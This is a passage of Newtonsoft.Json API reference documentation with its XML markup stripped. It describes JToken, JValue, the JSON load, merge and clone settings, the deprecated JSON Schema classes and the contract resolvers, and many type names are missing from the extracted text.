from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a view of a . + + + + + Initializes a new instance of the class. + + The name. + + + + When overridden in a derived class, returns whether resetting an object changes its value. + + + true if resetting the component changes its value; otherwise, false. + + The component to test for reset capability. + + + + When overridden in a derived class, gets the current value of the property on a component. + + + The value of a property for a given component. + + The component with the property for which to retrieve the value. + + + + When overridden in a derived class, resets the value for this property of the component to the default value. + + The component with the property value that is to be reset to the default value. + + + + When overridden in a derived class, sets the value of the component to a different value. + + The component with the property value that is to be set. + The new value. + + + + When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. + + + true if the property should be persisted; otherwise, false. + + The component with the property to be examined for persistence. + + + + When overridden in a derived class, gets the type of the component this property is bound to. + + + A that represents the type of component this property is bound to. + When the or + + methods are invoked, the object specified might be an instance of this type. + + + + + When overridden in a derived class, gets a value indicating whether this property is read-only. + + + true if the property is read-only; otherwise, false. + + + + + When overridden in a derived class, gets the type of the property. + + + A that represents the type of the property. + + + + + Gets the hash code for the name of the member. + + + + The hash code for the name of the member. + + + + + Represents a raw JSON string. + + + + + Asynchronously creates an instance of with the content of the reader's current token. + + The reader. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns an instance of with the content of the reader's current token. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class. + + The raw json. + + + + Creates an instance of with the content of the reader's current token. + + The reader. + An instance of with the content of the reader's current token. + + + + Specifies the settings used when cloning JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets a flag that indicates whether to copy annotations when cloning a . + The default value is true. + + + A flag that indicates whether to copy annotations when cloning a . + + + + + Specifies the settings used when loading JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets how JSON comments are handled when loading JSON. + The default value is . + + The JSON comment handling. + + + + Gets or sets how JSON line info is handled when loading JSON. + The default value is . + + The JSON line info handling. + + + + Gets or sets how duplicate property names in JSON objects are handled when loading JSON. + The default value is . + + The JSON duplicate property name handling. + + + + Specifies the settings used when merging JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the method used when merging JSON arrays. + + The method used when merging JSON arrays. + + + + Gets or sets how null value properties are merged. + + How null value properties are merged. + + + + Gets or sets the comparison used to match property names while merging. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + The comparison used to match property names while merging. + + + + Specifies the settings used when selecting JSON. + + + + + Gets or sets a timeout that will be used when executing regular expressions. + + The timeout that will be used when executing regular expressions. + + + + Gets or sets a flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + A flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + + + Represents an abstract JSON token. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Writes this token to a asynchronously. + + A into which this method will write. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously creates a from a . + + An positioned at the token to read into this . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains + the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + An positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains + the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + A positioned at the token to read into this . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + A positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Gets a comparer that can compare two tokens for value equality. + + A that can compare two nodes for value equality. + + + + Gets or sets the parent. + + The parent. + + + + Gets the root of this . + + The root of this . + + + + Gets the node type for this . + + The type. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Compares the values of two tokens, including the values of all descendant tokens. + + The first to compare. + The second to compare. + true if the tokens are equal; otherwise false. + + + + Gets the next sibling token of this node. + + The that contains the next sibling token. + + + + Gets the previous sibling token of this node. + + The that contains the previous sibling token. + + + + Gets the path of the JSON token. + + + + + Adds the specified content immediately after this token. + + A content object that contains simple content or a collection of content objects to be added after this token. + + + + Adds the specified content immediately before this token. + + A content object that contains simple content or a collection of content objects to be added before this token. + + + + Returns a collection of the ancestor tokens of this token. + + A collection of the ancestor tokens of this token. + + + + Returns a collection of tokens that contain this token, and the ancestors of this token. + + A collection of tokens that contain this token, and the ancestors of this token. + + + + Returns a collection of the sibling tokens after this token, in document order. + + A collection of the sibling tokens after this tokens, in document order. + + + + Returns a collection of the sibling tokens before this token, in document order. + + A collection of the sibling tokens before this token, in document order. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets the with the specified key converted to the specified type. + + The type to convert the token to. + The token key. + The converted token value. + + + + Get the first child token of this token. + + A containing the first child token of the . + + + + Get the last child token of this token. + + A containing the last child token of the . + + + + Returns a collection of the child tokens of this token, in document order. + + An of containing the child tokens of this , in document order. + + + + Returns a collection of the child tokens of this token, in document order, filtered by the specified type. + + The type to filter the child tokens on. + A containing the child tokens of this , in document order. + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + A containing the child values of this , in document order. + + + + Removes this token from its parent. + + + + + Replaces this token with the specified token. + + The value. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Returns the indented JSON for this token. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + The indented JSON for this token. + + + + + Returns the JSON for this token using the given formatting and converters. + + Indicates how the output should be formatted. + A collection of s which will be used when writing the token. + The JSON for this token using the given formatting and converters. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to []. + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from [] to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Creates a for this token. + + A that can be used to read this token and its descendants. + + + + Creates a from an object. + + The object that will be used to create . + A with the value of the specified object. + + + + Creates a from an object using the specified . + + The object that will be used to create . + The that will be used when reading the object. + A with the value of the specified object. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + An positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + Creates a from a . + + A positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A , or null. + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + A . + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + The used to select tokens. + A . + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + The used to select tokens. + An of that contains the selected elements. + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A new instance of the . + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A object to configure cloning settings. + A new instance of the . + + + + Adds an object to the annotation list of this . + + The annotation to add. + + + + Get the first annotation object of the specified type from this . + + The type of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets the first annotation object of the specified type from this . + + The of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets a collection of annotations of the specified type for this . + + The type of the annotations to retrieve. + An that contains the annotations for this . + + + + Gets a collection of annotations of the specified type for this . + + The of the annotations to retrieve. + An of that contains the annotations that match the specified type for this . + + + + Removes the annotations of the specified type from this . + + The type of annotations to remove. + + + + Removes the annotations of the specified type from this . + + The of annotations to remove. + + + + Compares tokens to determine whether they are equal. + + + + + Determines whether the specified objects are equal. + + The first object of type to compare. + The second object of type to compare. + + true if the specified objects are equal; otherwise, false. + + + + + Returns a hash code for the specified object. + + The for which a hash code is to be returned. + A hash code for the specified object. + The type of is a reference type and is null. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Gets the at the reader's current position. + + + + + Initializes a new instance of the class. + + The token to read from. + + + + Initializes a new instance of the class. + + The token to read from. + The initial path of the token. It is prepended to the returned . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Gets the path of the current JSON token. + + + + + Specifies the type of token. + + + + + No token type has been set. + + + + + A JSON object. + + + + + A JSON array. + + + + + A JSON constructor. + + + + + A JSON object property. + + + + + A comment. + + + + + An integer value. + + + + + A float value. + + + + + A string value. + + + + + A boolean value. + + + + + A null value. + + + + + An undefined value. + + + + + A date value. + + + + + A raw JSON value. + + + + + A collection of bytes value. + + + + + A Guid value. + + + + + A Uri value. + + + + + A TimeSpan value. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Gets the at the writer's current position. + + + + + Gets the token being written. + + The token being written. + + + + Initializes a new instance of the class writing to the given . + + The container being written to. + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the underlying . + + + + + Closes this writer. + If is set to true, the JSON is auto-completed. + + + Setting to true has no additional effect, since the underlying is a type that cannot be closed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end. + + The token. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes a value. + An error will be raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Represents a value in JSON (string, integer, date, etc). + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Creates a comment with the given value. + + The value. + A comment with the given value. + + + + Creates a string with the given value. + + The value. + A string with the given value. + + + + Creates a null value. + + A null value. + + + + Creates a undefined value. + + A undefined value. + + + + Gets the node type for this . + + The type. + + + + Gets or sets the underlying token value. + + The underlying token value. + + + + Writes this token to a . + + A into which this method will write. + A collection of s which will be used when writing the token. + + + + Indicates whether the current object is equal to another object of the same type. + + + true if the current object is equal to the parameter; otherwise, false. + + An object to compare with this object. + + + + Determines whether the specified is equal to the current . + + The to compare with the current . + + true if the specified is equal to the current ; otherwise, false. + + + + + Serves as a hash function for a particular type. + + + A hash code for the current . + + + + + Returns a that represents this instance. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format provider. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + The format provider. + + A that represents this instance. + + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: + Value + Meaning + Less than zero + This instance is less than . + Zero + This instance is equal to . + Greater than zero + This instance is greater than . + + + is not of the same type as this instance. + + + + + Specifies how line information is handled when loading JSON. + + + + + Ignore line information. + + + + + Load line information. + + + + + Specifies how JSON arrays are merged together. + + + + Concatenate arrays. + + + Union arrays, skipping items that already exist. + + + Replace all array items. + + + Merge array items together, matched by index. + + + + Specifies how null value properties are merged. + + + + + The content's null value properties will be ignored during merging. + + + + + The content's null value properties will be merged. + + + + + Specifies the member serialization options for the . + + + + + All public members are serialized by default. Members can be excluded using or . + This is the default member serialization mode. + + + + + Only members marked with or are serialized. + This member serialization mode can also be set by marking the class with . + + + + + All public and private fields are serialized. Members can be excluded using or . + This member serialization mode can also be set by marking the class with + and setting IgnoreSerializableAttribute on to false. + + + + + Specifies metadata property handling options for the . + + + + + Read metadata properties located at the start of a JSON object. + + + + + Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. + + + + + Do not try to read metadata properties. + + + + + Specifies missing member handling options for the . + + + + + Ignore a missing member and do not attempt to deserialize it. + + + + + Throw a when a missing member is encountered during deserialization. + + + + + Specifies null value handling options for the . + + + + + + + + + Include null values when serializing and deserializing objects. + + + + + Ignore null values when serializing and deserializing objects. + + + + + Specifies how object creation is handled by the . + + + + + Reuse existing objects, create new objects when needed. + + + + + Only reuse existing objects. + + + + + Always create new objects. + + + + + Specifies reference handling options for the . + Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . + + + + + + + + Do not preserve references when serializing types. + + + + + Preserve references when serializing into a JSON object structure. + + + + + Preserve references when serializing into a JSON array structure. + + + + + Preserve references when serializing. + + + + + Specifies reference loop handling options for the . + + + + + Throw a when a loop is encountered. + + + + + Ignore loop references and do not serialize. + + + + + Serialize loop references. + + + + + Indicating whether a property is required. + + + + + The property is not required. The default state. + + + + + The property must be defined in JSON but can be a null value. + + + + + The property must be defined in JSON and cannot be a null value. + + + + + The property is not required but it cannot be a null value. + + + + + + Contains the JSON schema extension methods. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + true if the specified is valid; otherwise, false. + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + When this method returns, contains any error messages generated while validating. + + true if the specified is valid; otherwise, false. + + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + The validation event handler. + + + + + An in-memory representation of a JSON Schema. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the id. + + + + + Gets or sets the title. + + + + + Gets or sets whether the object is required. + + + + + Gets or sets whether the object is read-only. + + + + + Gets or sets whether the object is visible to users. + + + + + Gets or sets whether the object is transient. + + + + + Gets or sets the description of the object. + + + + + Gets or sets the types of values allowed by the object. + + The type. + + + + Gets or sets the pattern. + + The pattern. + + + + Gets or sets the minimum length. + + The minimum length. + + + + Gets or sets the maximum length. + + The maximum length. + + + + Gets or sets a number that the value should be divisible by. + + A number that the value should be divisible by. + + + + Gets or sets the minimum. + + The minimum. + + + + Gets or sets the maximum. + + The maximum. + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). + + A flag indicating whether the value can not equal the number defined by the minimum attribute (). + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). + + A flag indicating whether the value can not equal the number defined by the maximum attribute (). + + + + Gets or sets the minimum number of items. + + The minimum number of items. + + + + Gets or sets the maximum number of items. + + The maximum number of items. + + + + Gets or sets the of items. + + The of items. + + + + Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . + + + true if items are validated using their array position; otherwise, false. + + + + + Gets or sets the of additional items. + + The of additional items. + + + + Gets or sets a value indicating whether additional items are allowed. + + + true if additional items are allowed; otherwise, false. + + + + + Gets or sets whether the array items must be unique. + + + + + Gets or sets the of properties. + + The of properties. + + + + Gets or sets the of additional properties. + + The of additional properties. + + + + Gets or sets the pattern properties. + + The pattern properties. + + + + Gets or sets a value indicating whether additional properties are allowed. + + + true if additional properties are allowed; otherwise, false. + + + + + Gets or sets the required property if this property is present. + + The required property if this property is present. + + + + Gets or sets the a collection of valid enum values allowed. + + A collection of valid enum values allowed. + + + + Gets or sets disallowed types. + + The disallowed types. + + + + Gets or sets the default value. + + The default value. + + + + Gets or sets the collection of that this schema extends. + + The collection of that this schema extends. + + + + Gets or sets the format. + + The format. + + + + Initializes a new instance of the class. + + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The object representing the JSON Schema. + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The to use when resolving schema references. + The object representing the JSON Schema. + + + + Load a from a string that contains JSON Schema. + + A that contains JSON Schema. + A populated from the string that contains JSON Schema. + + + + Load a from a string that contains JSON Schema using the specified . + + A that contains JSON Schema. + The resolver. + A populated from the string that contains JSON Schema. + + + + Writes this schema to a . + + A into which this method will write. + + + + Writes this schema to a using the specified . + + A into which this method will write. + The resolver used. + + + + Returns a that represents the current . + + + A that represents the current . + + + + + + Returns detailed information about the schema exception. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + + Generates a from a specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets how undefined schemas are handled by the serializer. + + + + + Gets or sets the contract resolver. + + The contract resolver. + + + + Generate a from the specified type. + + The type to generate a from. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + + Resolves from an id. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the loaded schemas. + + The loaded schemas. + + + + Initializes a new instance of the class. + + + + + Gets a for the specified reference. + + The id. + A for the specified reference. + + + + + The value types allowed by the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + No type specified. + + + + + String type. + + + + + Float type. + + + + + Integer type. + + + + + Boolean type. + + + + + Object type. + + + + + Array type. + + + + + Null type. + + + + + Any type. + + + + + + Specifies undefined schema Id handling options for the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Do not infer a schema Id. + + + + + Use the .NET type name as the schema Id. + + + + + Use the assembly qualified .NET type name as the schema Id. + + + + + + Returns detailed information related to the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the associated with the validation error. + + The JsonSchemaException associated with the validation error. + + + + Gets the path of the JSON location where the validation error occurred. + + The path of the JSON location where the validation error occurred. + + + + Gets the text description corresponding to the validation error. + + The text description. + + + + + Represents the callback method that will handle JSON schema validation events and the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + A camel case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Resolves member mappings for a type, camel casing property names. + + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used by to resolve a for a given . + + + + + Gets a value indicating whether members are being get and set using dynamic code generation. + This value is determined by the runtime permissions available. + + + true if using dynamic code generation; otherwise, false. + + + + + Gets or sets the default members search flags. + + The default members search flags. + + + + Gets or sets a value indicating whether compiler generated members should be serialized. + + + true if serialized compiler generated members; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. + + + true if the interface will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. + + + true if the attribute will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. + + + true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. + + + true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. + + The naming strategy used to resolve how property names and dictionary keys are serialized. + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Gets the serializable members for the type. + + The type to get serializable members for. + The serializable members for the type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates the constructor parameters. + + The constructor to create properties for. + The type's member properties. + Properties for the given . + + + + Creates a for the given . + + The matching member property. + The constructor parameter. + A created for the given . + + + + Resolves the default for the contract. + + Type of the object. + The contract's default . + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of 